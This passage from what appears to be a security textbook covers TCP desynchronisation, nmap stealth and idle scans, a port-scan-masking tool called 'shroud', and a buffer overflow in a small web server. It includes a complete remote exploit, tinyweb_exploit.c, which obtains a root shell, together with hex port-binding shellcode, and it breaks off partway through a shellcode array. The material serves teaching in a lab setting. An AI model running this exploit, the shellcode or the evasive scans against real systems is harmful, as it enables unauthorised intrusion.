The spoofed packet doesn't need to be an RST packet. This attack becomes more interesting when the spoof packet contains data. The host machine receives the spoofed packet, increments the sequence number, and responds to the victim's IP. Since the victim's machine doesn't know about the spoofed packet, the host machine's response has an incorrect sequence number, so the victim ignores that response packet. And since the victim's machine ignored the host machine's response packet, the victim's sequence number count is off. Therefore, any packet the victim tries to send to the host machine will have an incorrect sequence number as well, causing the host machine to ignore it. In this case, both legitimate sides of the connection have incorrect sequence numbers, resulting in a desynchronized state. And since the attacker sent out the first spoofed packet that caused all this chaos, it can keep track of sequence numbers and continue spoofing packets from the victim's IP address to the host machine. This lets the attacker continue communicating with the host machine while the victim's connection hangs.

Port Scanning

Port scanning is a way of figuring out which ports are listening and accepting connections. Since most services run on standard, documented ports, this information can be used to determine which services are running. The simplest form of port scanning involves trying to open TCP connections to every possible port on the target system. While this is effective, it's also noisy and detectable. Also, when connections are established, services will normally log the IP address. To avoid this, several clever techniques have been invented.

A port scanning tool called nmap, written by Fyodor, implements all of the following port-scanning techniques. This tool has become one of the most popular open source port-scanning tools.

Stealth SYN Scan

A SYN scan is also sometimes called a half-open scan. This is because it doesn't actually open a full TCP connection. Recall the TCP/IP handshake: When a full connection is made, first a SYN packet is sent, then a SYN/ACK packet is sent back, and finally an ACK packet is returned to complete the handshake and open the connection. A SYN scan doesn't complete the handshake, so a full connection is never opened. Instead, only the initial SYN packet is sent, and the response is examined. If a SYN/ACK packet is received in response, that port must be accepting connections. This is recorded, and an RST packet is sent to tear down the connection to prevent the service from accidentally being DoSed.

Using nmap, a SYN scan can be performed using the command-line option -sS. The program must be run as root, since the program isn't using standard sockets and needs raw network access.

reader@hacking:~/booksrc $ sudo nmap -sS 192.168.42.72

Starting Nmap 4.20 ( http://insecure.org ) at 2007-05-29 09:19 PDT

Interesting ports on 192.168.42.72:

Not shown: 1696 closed ports

PORT STATE SERVICE

22/tcp open ssh

Nmap finished: 1 IP address (1 host up) scanned in 0.094 seconds

FIN, X-mas, and Null Scans

In response to SYN scanning, new tools to detect and log half-open connections were created. So yet another collection of techniques for stealth port scanning evolved: FIN, X-mas, and Null scans. These all involve sending a nonsensical packet to every port on the target system. If a port is listening, these packets just get ignored. However, if the port is closed and the implementation follows protocol (RFC 793), an RST packet will be sent. This difference can be used to detect which ports are accepting connections, without actually opening any connections.

The FIN scan sends a FIN packet, the X-mas scan sends a packet with FIN, URG, and PUSH turned on (so named because the flags are lit up like a Christmas tree), and the Null scan sends a packet with no TCP flags set. While these types of scans are stealthier, they can also be unreliable. For instance, Microsoft's implementation of TCP doesn't send RST packets like it should, making this form of scanning ineffective.

Using nmap, FIN, X-mas, and NULL scans can be performed using the command-line options -sF, -sX, and -sN, respectively. Their output looks basically the same as the previous scan.

Spoofing Decoys

Another way to avoid detection is to hide among several decoys. This technique simply spoofs connections from various decoy IP addresses in between each real port-scanning connection. The responses from the spoofed connections aren't needed, since they are simply misleads. However, the spoofed decoy addresses must use real IP addresses of live hosts; otherwise, the target may be accidentally SYN flooded.

Decoys can be specified in nmap with the -D command-line option. The sample nmap command shown below scans the IP 192.168.42.72, using 192.168.42.10 and 192.168.42.11 as decoys.

reader@hacking:~/booksrc $ sudo nmap -D 192.168.42.10,192.168.42.11 192.168.42.72

Idle Scanning

Idle scanning is a way to scan a target using spoofed packets from an idle host, by observing changes in the idle host. The attacker needs to find a usable idle host that is not sending or receiving any other network traffic and that has a TCP implementation that produces predictable IP IDs that change by a known increment with each packet. IP IDs are meant to be unique per packet per session, and they are commonly incremented by a fixed amount. Predictable IP IDs have never really been considered a security risk, and idle scanning takes advantage of this misconception. Newer operating systems, such as the recent Linux kernel, OpenBSD, and Windows Vista, randomize the IP ID, but older operating systems and hardware (such as printers) typically do not.

First, the attacker gets the current IP ID of the idle host by contacting it with a SYN packet or an unsolicited SYN/ACK packet and observing the IP ID of the response. By repeating this process a few more times, the increment applied to the IP ID with each packet can be determined.

Then, the attacker sends a spoofed SYN packet with the idle host's IP address to a port on the target machine. One of two things will happen, depending on whether that port on the victim machine is listening:

§ If that port is listening, a SYN/ACK packet will be sent back to the idle host. But since the idle host didn't actually send out the initial SYN packet, this response appears to be unsolicited to the idle host, and it responds by sending back an RST packet.

§ If that port isn't listening, the target machine doesn't send a SYN/ACK packet back to the idle host, so the idle host doesn't respond.

At this point, the attacker contacts the idle host again to determine how much the IP ID has incremented. If it has only incremented by one interval, no other packets were sent out by the idle host between the two checks. This implies that the port on the target machine is closed. If the IP ID has incremented by two intervals, one packet, presumably an RST packet, was sent out by the idle machine between the checks. This implies that the port on the target machine is open.

The steps are illustrated on the next page for both possible outcomes.

Of course, if the idle host isn't truly idle, the results will be skewed. If there is light traffic on the idle host, multiple packets can be sent for each port. If 20 packets are sent, then a change of 20 incremental steps should be an indication of an open port, and none, of a closed port. Even if there is light traffic, such as one or two non–scan-related packets sent by the idle host, this difference is large enough that it can still be detected.

If this technique is used properly on an idle host that doesn't have any logging capabilities, the attacker can scan any target without ever revealing his or her IP address.

After finding a suitable idle host, this type of scanning can be done with nmap using the -sI command-line option followed by the idle host's address:

reader@hacking:~/booksrc $ sudo nmap -sI idlehost.com 192.168.42.7

Figure 0x400-11.

Proactive Defense (shroud)

Port scans are often used to profile systems before they are attacked. Knowing what ports are open allows an attacker to determine which services can be attacked. Many IDSs offer methods to detect port scans, but by then the information has already been leaked. While writing this chapter, I wondered if it is possible to prevent port scans before they actually happen. Hacking, really, is all about coming up with new ideas, so a newly developed method for proactive port-scanning defense will be presented here.

First of all, the FIN, Null, and X-mas scans can be prevented by a simple kernel modification. If the kernel never sends reset packets, these scans will turn up nothing. The following output uses grep to find the kernel code responsible for sending reset packets.

reader@hacking:~/booksrc $ grep -n -A 20 "void.*send_reset" /usr/src/linux/net/ipv4/

tcp_ipv4.c

547:static void tcp_v4_send_reset(struct sock *sk, struct sk_buff *skb)

548-{

549- struct tcphdr *th = skb->h.th;

550- struct {

551- struct tcphdr th;

552-#ifdef CONFIG_TCP_MD5SIG

553- __be32 opt[(TCPOLEN_MD5SIG_ALIGNED >> 2)];

554-#endif

555- } rep;

556- struct ip_reply_arg arg;

557-#ifdef CONFIG_TCP_MD5SIG

558- struct tcp_md5sig_key *key;

559-#endif

560-

return; // Modification: Never send RST, always return.

561- /* Never send a reset in response to a reset. */

562- if (th->rst)

563- return;

564-

565- if (((struct rtable *)skb->dst)->rt_type != RTN_LOCAL)

566- return;

567-

reader@hacking:~/booksrc $

By adding the return command (shown above in bold), the tcp_v4_send_reset() kernel function will simply return instead of doing anything. After the kernel is recompiled, the resulting kernel won't send out reset packets, avoiding information leakage.

FIN Scan Before the Kernel Modification

matrix@euclid:~ $ sudo nmap -T5 -sF 192.168.42.72

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-03-17 16:58 PDT

Interesting ports on 192.168.42.72:

Not shown: 1678 closed ports

PORT STATE SERVICE

22/tcp open|filtered ssh

80/tcp open|filtered http

MAC Address: 00:01:6C:EB:1D:50 (Foxconn)

Nmap finished: 1 IP address (1 host up) scanned in 1.462 seconds

matrix@euclid:~ $

FIN Scan After the Kernel Modification

matrix@euclid:~ $ sudo nmap -T5 -sF 192.168.42.72

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-03-17 16:58 PDT

Interesting ports on 192.168.42.72:

Not shown: 1678 closed ports

PORT STATE SERVICE

MAC Address: 00:01:6C:EB:1D:50 (Foxconn)

Nmap finished: 1 IP address (1 host up) scanned in 1.462 seconds

matrix@euclid:~ $

This works fine for scans that rely on RST packets, but preventing information leakage with SYN scans and full-connect scans is a bit more difficult. In order to maintain functionality, open ports have to respond with SYN/ACK packets—there is no way around that. But if all of the closed ports also responded with SYN/ACK packets, the amount of useful information an attacker could retrieve from port scans would be minimized. Simply opening every port would cause a major performance hit, though, which isn't desirable. Ideally, this should all be done without using a TCP stack. The following program does exactly that. It's a modification of the rst_hijack.c program, using a more complex BPF string to filter only SYN packets destined for closed ports. The callback function spoofs a legitimate looking SYN/ACK response to any SYN packet that makes it through the BPF. This will flood port scanners with a sea of false positives, which will hide legitimate ports.

shroud.c

#include <libnet.h>

#include <pcap.h>

#include "hacking.h"

#define MAX_EXISTING_PORTS 30

void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);

int set_packet_filter(pcap_t *, struct in_addr *, u_short *);

struct data_pass {

int libnet_handle;

u_char *packet;

};

int main(int argc, char *argv[]) {

struct pcap_pkthdr cap_header;

const u_char *packet, *pkt_data;

pcap_t *pcap_handle;

char errbuf[PCAP_ERRBUF_SIZE]; // Same size as LIBNET_ERRBUF_SIZE

char *device;

u_long target_ip;

int network, i;

struct data_pass critical_libnet_data;

u_short existing_ports[MAX_EXISTING_PORTS];

if((argc < 2) || (argc > MAX_EXISTING_PORTS+2)) {

if(argc > 2)

printf("Limited to tracking %d existing ports.\n", MAX_EXISTING_PORTS);

else

printf("Usage: %s <IP to shroud> [existing ports...]\n", argv[0]);

exit(0);

}

target_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE);

if (target_ip == -1)

fatal("Invalid target address");

for(i=2; i < argc; i++)

existing_ports[i-2] = (u_short) atoi(argv[i]);

existing_ports[argc-2] = 0;

device = pcap_lookupdev(errbuf);

if(device == NULL)

fatal(errbuf);

pcap_handle = pcap_open_live(device, 128, 1, 0, errbuf);

if(pcap_handle == NULL)

fatal(errbuf);

critical_libnet_data.libnet_handle = libnet_open_raw_sock(IPPROTO_RAW);

if(critical_libnet_data.libnet_handle == -1)

libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run

as root.\n");

libnet_init_packet(LIBNET_IP_H + LIBNET_TCP_H, &(critical_libnet_data.packet));

if (critical_libnet_data.packet == NULL)

libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");

libnet_seed_prand();

set_packet_filter(pcap_handle, (struct in_addr *)&target_ip, existing_ports);

pcap_loop(pcap_handle, -1, caught_packet, (u_char *)&critical_libnet_data);

pcap_close(pcap_handle);

}

/* Sets a packet filter to look for established TCP connections to target_ip */

int set_packet_filter(pcap_t *pcap_hdl, struct in_addr *target_ip, u_short *ports) {

struct bpf_program filter;

char *str_ptr, filter_string[90 + (25 * MAX_EXISTING_PORTS)];

int i=0;

sprintf(filter_string, "dst host %s and ", inet_ntoa(*target_ip)); // Target IP

strcat(filter_string, "tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack = 0");

if(ports[0] != 0) { // If there is at least one existing port

str_ptr = filter_string + strlen(filter_string);

if(ports[1] == 0) // There is only one existing port

sprintf(str_ptr, " and not dst port %hu", ports[i]);

else { // Two or more existing ports

sprintf(str_ptr, " and not (dst port %hu", ports[i++]);

while(ports[i] != 0) {

str_ptr = filter_string + strlen(filter_string);

sprintf(str_ptr, " or dst port %hu", ports[i++]);

}

strcat(filter_string, ")");

}

}

printf("DEBUG: filter string is \'%s\'\n", filter_string);

if(pcap_compile(pcap_hdl, &filter, filter_string, 0, 0) == -1)

fatal("pcap_compile failed");

if(pcap_setfilter(pcap_hdl, &filter) == -1)

fatal("pcap_setfilter failed");

}

void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char

*packet) {

u_char *pkt_data;

struct libnet_ip_hdr *IPhdr;

struct libnet_tcp_hdr *TCPhdr;

struct data_pass *passed;

int bcount;

passed = (struct data_pass *) user_args; // Pass data using a pointer to a struct

IPhdr = (struct libnet_ip_hdr *) (packet + LIBNET_ETH_H);

TCPhdr = (struct libnet_tcp_hdr *) (packet + LIBNET_ETH_H + LIBNET_TCP_H);

libnet_build_ip(LIBNET_TCP_H, // Size of the packet sans IP header

IPTOS_LOWDELAY, // IP tos

libnet_get_prand(LIBNET_PRu16), // IP ID (randomized)

0, // Frag stuff

libnet_get_prand(LIBNET_PR8), // TTL (randomized)

IPPROTO_TCP, // Transport protocol

*((u_long *)&(IPhdr->ip_dst)), // Source IP (pretend we are dst)

*((u_long *)&(IPhdr->ip_src)), // Destination IP (send back to src)

NULL, // Payload (none)

0, // Payload length

passed->packet); // Packet header memory

libnet_build_tcp(htons(TCPhdr->th_dport),// Source TCP port (pretend we are dst)

htons(TCPhdr->th_sport), // Destination TCP port (send back to src)

htonl(TCPhdr->th_ack), // Sequence number (use previous ack)

htonl((TCPhdr->th_seq) + 1), // Acknowledgement number (SYN's seq # + 1)

TH_SYN | TH_ACK, // Control flags (RST flag set only)

libnet_get_prand(LIBNET_PRu16), // Window size (randomized)

0, // Urgent pointer

NULL, // Payload (none)

0, // Payload length

(passed->packet) + LIBNET_IP_H);// Packet header memory

if (libnet_do_checksum(passed->packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)

libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");

bcount = libnet_write_ip(passed->libnet_handle, passed->packet,

LIBNET_IP_H+LIBNET_TCP_H);

if (bcount < LIBNET_IP_H + LIBNET_TCP_H)

libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written.");

printf("bing!\n");

}

There are a few tricky parts in the code above, but you should be able to follow all of it. When the program is compiled and executed, it will shroud the IP address given as the first argument, with the exception of a list of existing ports provided as the remaining arguments.

reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o shroud shroud.c -lnet -lpcap

reader@hacking:~/booksrc $ sudo ./shroud 192.168.42.72 22 80

DEBUG: filter string is 'dst host 192.168.42.72 and tcp[tcpflags] & tcp-syn != 0 and

tcp[tcpflags] & tcp-ack = 0 and not (dst port 22 or dst port 80)'

While shroud is running, any port scanning attempts will show every port to be open.

matrix@euclid:~ $ sudo nmap -sS 192.168.0.189

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )

Interesting ports on (192.168.0.189):

Port State Service

1/tcp open tcpmux

2/tcp open compressnet

3/tcp open compressnet

4/tcp open unknown

5/tcp open rje

6/tcp open unknown

7/tcp open echo

8/tcp open unknown

9/tcp open discard

10/tcp open unknown

11/tcp open systat

12/tcp open unknown

13/tcp open daytime

14/tcp open unknown

15/tcp open netstat

16/tcp open unknown

17/tcp open qotd

18/tcp open msp

19/tcp open chargen

20/tcp open ftp-data

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

24/tcp open priv-mail

25/tcp open smtp

[ output trimmed ]

32780/tcp open sometimes-rpc23

32786/tcp open sometimes-rpc25

32787/tcp open sometimes-rpc27

43188/tcp open reachout

44442/tcp open coldfusion-auth

44443/tcp open coldfusion-auth

47557/tcp open dbbrowse

49400/tcp open compaqdiag

54320/tcp open bo2k

61439/tcp open netprowler-manager

61440/tcp open netprowler-manager2

61441/tcp open netprowler-sensor

65301/tcp open pcanywhere

Nmap run completed -- 1 IP address (1 host up) scanned in 37 seconds

matrix@euclid:~ $

The only service that is actually running is ssh on port 22, but it is hidden in a sea of false positives. A dedicated attacker could simply telnet to every port to check the banners, but this technique could easily be expanded to spoof banners also.

Reach Out and Hack Someone

Network programming tends to move many chunks of memory around and is heavy in typecasting. You've seen for yourself how crazy some of the typecasts can get. Mistakes thrive in this type of chaos. And since many network programs need to run as root, these little mistakes can become critical vulnerabilities. One such vulnerability exists in the code from this chapter. Did you notice it?

Reach Out and Hack Someone

From hacking-network.h

/* This function accepts a socket FD and a ptr to a destination

* buffer. It will receive from the socket until the EOL byte

* sequence in seen. The EOL bytes are read from the socket, but

* the destination buffer is terminated before these bytes.

* Returns the size of the read line (without EOL bytes).

*/

int recv_line(int sockfd, unsigned char *dest_buffer) {

#define EOL "\r\n" // End-of-line byte sequence

#define EOL_SIZE 2

unsigned char *ptr;

int eol_matched = 0;

ptr = dest_buffer;

while(recv(sockfd, ptr, 1, 0) == 1) { // Read a single byte.

if(*ptr == EOL[eol_matched]) { // Does this byte match terminator?

eol_matched++;

if(eol_matched == EOL_SIZE) { // If all bytes match terminator,

*(ptr+1-EOL_SIZE) = '\0'; // terminate the string.

return strlen(dest_buffer); // Return bytes recevied.

}

} else {

eol_matched = 0;

}

ptr++; // Increment the pointer to the next byte.

}

return 0; // Didn't find the end-of-line characters.

}

The recv_line() function in hacking-network.h has a small mistake of omission—there is no code to limit the length. This means received bytes can overflow if they exceed the dest_buffer size. The tinyweb server program and any other programs that use this function are vulnerable to attack.

Analysis with GDB

To exploit the vulnerability in the tinyweb.c program, we just need to send packets that will strategically overwrite the return address. First, we need to know the offset from the start of a buffer we control to the stored return address. Using GDB, we can analyze the compiled program to find this; however, there are some subtle details that can cause tricky problems. For example, the program requires root privileges, so the debugger must be run as root. But using sudo or running with root's environment will change the stack, meaning the addresses seen in the debugger's run of the binary won't match the addresses when it's running normally. There are other slight differences that can shift memory around in the debugger like this, creating inconsistencies that can be maddening to track down. According to the debugger, everything will look like it should work; however, the exploit fails when run outside the debugger, since the addresses are different.

One elegant solution to this problem is to attach to the process after it's already running. In the output below, GDB is used to attach to an already-running tinyweb process that was started in another terminal. The source is recompiled using the -g option to include debugging symbols that GDB can apply to the running process.

reader@hacking:~/booksrc $ ps aux | grep tinyweb

root 13019 0.0 0.0 1504 344 pts/0 S+ 20:25 0:00 ./tinyweb

reader 13104 0.0 0.0 2880 748 pts/2 R+ 20:27 0:00 grep tinyweb

reader@hacking:~/booksrc $ gcc -g tinyweb.c

reader@hacking:~/booksrc $ sudo gdb -q --pid=13019 --symbols=./a.out

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

Attaching to process 13019

/cow/home/reader/booksrc/tinyweb: No such file or directory.

A program is being debugged already. Kill it? (y or n) n

Program not killed.

(gdb) bt

#0 0xb7fe77f2 in ?? ()

#1 0xb7f691e1 in ?? ()

#2 0x08048ccf in main () at tinyweb.c:44

(gdb) list 44

39 if (listen(sockfd, 20) == -1)

40 fatal("listening on socket");

41

42 while(1) { // Accept loop

43 sin_size = size of(struct sockaddr_in);

44 new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);

45 if(new_sockfd == -1)

46 fatal("accepting connection");

47

48 handle_connection(new_sockfd, &client_addr);

(gdb) list handle_connection

53 /* This function handles the connection on the passed socket from the

54 * passed client address. The connection is processed as a web request

55 * and this function replies over the connected socket. Finally, the

56 * passed socket is closed at the end of the function.

57 */

58 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) {

59 unsigned char *ptr, request[500], resource[500];

60 int fd, length;

61

62 length = recv_line(sockfd, request);

(gdb) break 62

Breakpoint 1 at 0x8048d02: file tinyweb.c, line 62.

(gdb) cont

Continuing.

After attaching to the running process, a stack backtrace shows the program is currenty in main(), waiting for a connection. After setting a breakpoint at the first recv_line() call on line 62 (), the program is allowed to continue. At this point, the program's execution must be advanced by making a web request using wget in another terminal or a browser. Then the breakpoint in handle_connection() will be hit.

Breakpoint 2, handle_connection (sockfd=4, client_addr_ptr=0xbffff810) at tinyweb.c:62

62 length = recv_line(sockfd, request);

(gdb) x/x request

0xbffff5c0: 0x00000000

(gdb) bt

#0 handle_connection (sockfd=4, client_addr_ptr=0xbffff810) at tinyweb.c:62

#1 0x08048cf6 in main () at tinyweb.c:48

(gdb) x/16xw request+500

0xbffff7b4: 0xb7fd5ff4 0xb8000ce0 0x00000000 0xbffff848

0xbffff7c4: 0xb7ff9300 0xb7fd5ff4 0xbffff7e0 0xb7f691c0

0xbffff7d4: 0xb7fd5ff4 0xbffff848 0x08048cf6 0x00000004

0xbffff7e4: 0xbffff810 0xbffff80c 0xbffff834 0x00000004

(gdb) x/x 0xbffff7d4+8

0xbffff7dc: 0x08048cf6

(gdb) p 0xbffff7dc - 0xbffff5c0

$1 = 540

(gdb) p /x 0xbffff5c0 + 200

$2 = 0xbffff688

(gdb) quit

The program is running. Quit anyway (and detach it)? (y or n) y

Detaching from program: , process 13019

reader@hacking:~/booksrc $

At the breakpoint, the request buffer begins at 0xbfffff5c0. The bt command's stack backtrace shows that the return address from handle_connection() is 0x08048cf6. Since we know how the local variables are generally laid out on the stack, we know the request buffer is near the end of the frame. This means that the stored return address should be on the stack somewhere near the end of this 500-byte buffer. Since we already know the general area to look, a quick inspection shows the stored return address is at 0xbffff7dc (). A little math shows the stored return address is 540 bytes from the start of the request buffer. However, there are a few bytes near the beginning of the buffer that might be mangled by the rest of the function. Remember, we don't gain control of the program until the function returns. To account for this, it's best to just avoid the beginning of the buffer. Skipping the first 200 bytes should be safe, while leaving plenty of space for shellcode in the remaining 300 bytes. This means 0xbffff688 is the target return address.

Almost Only Counts with Hand Grenades

The following exploit for the tinyweb program uses the offset and return address overwrite values calculated with GDB. It fills the exploit buffer with null bytes, so anything written into it will automatically be null-terminated. Then it fills the first 540 bytes with NOP instructions. This builds the NOP sled and fills the buffer up to the return address overwrite location. Then the entire string is terminated with the '\r\n' line terminator.

tinyweb_exploit.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include "hacking.h"

#include "hacking-network.h"

char shellcode[]=

"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"

"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"

"\xe1\xcd\x80"; // Standard shellcode

#define OFFSET 540

#define RETADDR 0xbffff688

int main(int argc, char *argv[]) {

int sockfd, buflen;

struct hostent *host_info;

struct sockaddr_in target_addr;

unsigned char buffer[600];

if(argc < 2) {

printf("Usage: %s <hostname>\n", argv[0]);

exit(1);

}

if((host_info = gethostbyname(argv[1])) == NULL)

fatal("looking up hostname");

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)

fatal("in socket");

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(80);

target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);

memset(&(target_addr.sin_zero), '\0', 8); // Zero the rest of the struct.

if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)

fatal("connecting to target server");

bzero(buffer, 600); // Zero out the buffer.

memset(buffer, '\x90', OFFSET); // Build a NOP sled.

*((u_int *)(buffer + OFFSET)) = RETADDR; // Put the return address in

memcpy(buffer+300, shellcode, strlen(shellcode)); // shellcode.

strcat(buffer, "\r\n"); // Terminate the string.

printf("Exploit buffer:\n");

dump(buffer, strlen(buffer)); // Show the exploit buffer.

send_string(sockfd, buffer); // Send exploit buffer as an HTTP request.

exit(0);

}

When this program is compiled, it can remotely exploit hosts running the tinyweb program, tricking them into running the shellcode. The exploit also dumps out the bytes of the exploit buffer before it sends it. In the output below, the tinyweb program is run in a different terminal, and the exploit is tested against it. Here's the output from the attacker's terminal:

reader@hacking:~/booksrc $ gcc tinyweb_exploit.c

reader@hacking:~/booksrc $ ./a.out 127.0.0.1

Exploit buffer:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 31 c0 31 db | ............1.1.

31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 2f 2f 73 68 | 1......j.XQh//sh

68 2f 62 69 6e 89 e3 51 89 e2 53 89 e1 cd 80 90 | h/bin..Q..S.....

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................

0d 0a | ..

reader@hacking:~/booksrc $

Back on the terminal running the tinyweb program, the output shows the exploit buffer was received and the shellcode is executed. This will provide a rootshell, but only for the console running the server. Unfortunately, we aren't at the console, so this won't do us any good. At the server console, we see the following:

reader@hacking:~/booksrc $ ./tinyweb

Accepting web requests on port 80

Got request from 127.0.0.1:53908 "GET / HTTP/1.1"

Opening './webroot/index.html' 200 OK

Got request from 127.0.0.1:40668 "GET /image.jpg HTTP/1.1"

Opening './webroot/image.jpg' 200 OK

Got request from 127.0.0.1:58504

"␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣

␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣

␣␣␣␣␣␣␣␣␣␣␣␣␣␣1␣ 1␣ 1␣␣␣ j

XQh//shh/bin␣␣S ␣␣␣␣␣␣␣␣␣␣␣␣

␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣

␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣"

NOT HTTP!

sh-3.2#

The vulnerability certainly exists, but the shellcode doesn't do what we want in this case. Since we're not at the console, shellcode is just a selfcontained program, designed to take over another program to open a shell. Once control of the program's execution pointer is taken, the injected shellcode can do anything. There are many different types of shellcode that can be used in different situations (or payloads). Even though not all shellcode actually spawns a shell, it's still commonly called shellcode.

Port-Binding Shellcode

When exploiting a remote program, spawning a shell locally is pointless. Port-binding shellcode listens for a TCP connection on a certain port and serves up the shell remotely. Assuming you already have port-binding shellcode ready, using it is simply a matter of replacing the shellcode bytes defined in the exploit. Port-binding shellcode is included in the LiveCD that will bind to port 31337. These shellcode bytes are shown in the output below.

reader@hacking:~/booksrc $ wc -c portbinding_shellcode

92 portbinding_shellcode

reader@hacking:~/booksrc $ hexdump -C portbinding_shellcode

00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|

00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 |.jfXCRfhzifS..j.|

00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 |QV.....fCCSV....|

00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f |.fCRRV.....j.Y.?|

00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 |..Iy...Rh//shh/b|

00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |in..R..S....|

0000005c

reader@hacking:~/booksrc $ od -tx1 portbinding_shellcode | cut -c8-80 | sed -e 's/ /\\x/g'

\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80

\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10

\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80

\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f

\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62

\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80

reader@hacking:~/booksrc $

After some quick formatting, these bytes are swapped into the shellcode bytes of the tinyweb_exploit.c program, resulting in tinyweb_exploit2.c. The new shellcode line is shown below.

New Line from tinyweb_exploit2.c

char shellcode[]=

"\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80"

"\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10"

"\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80"

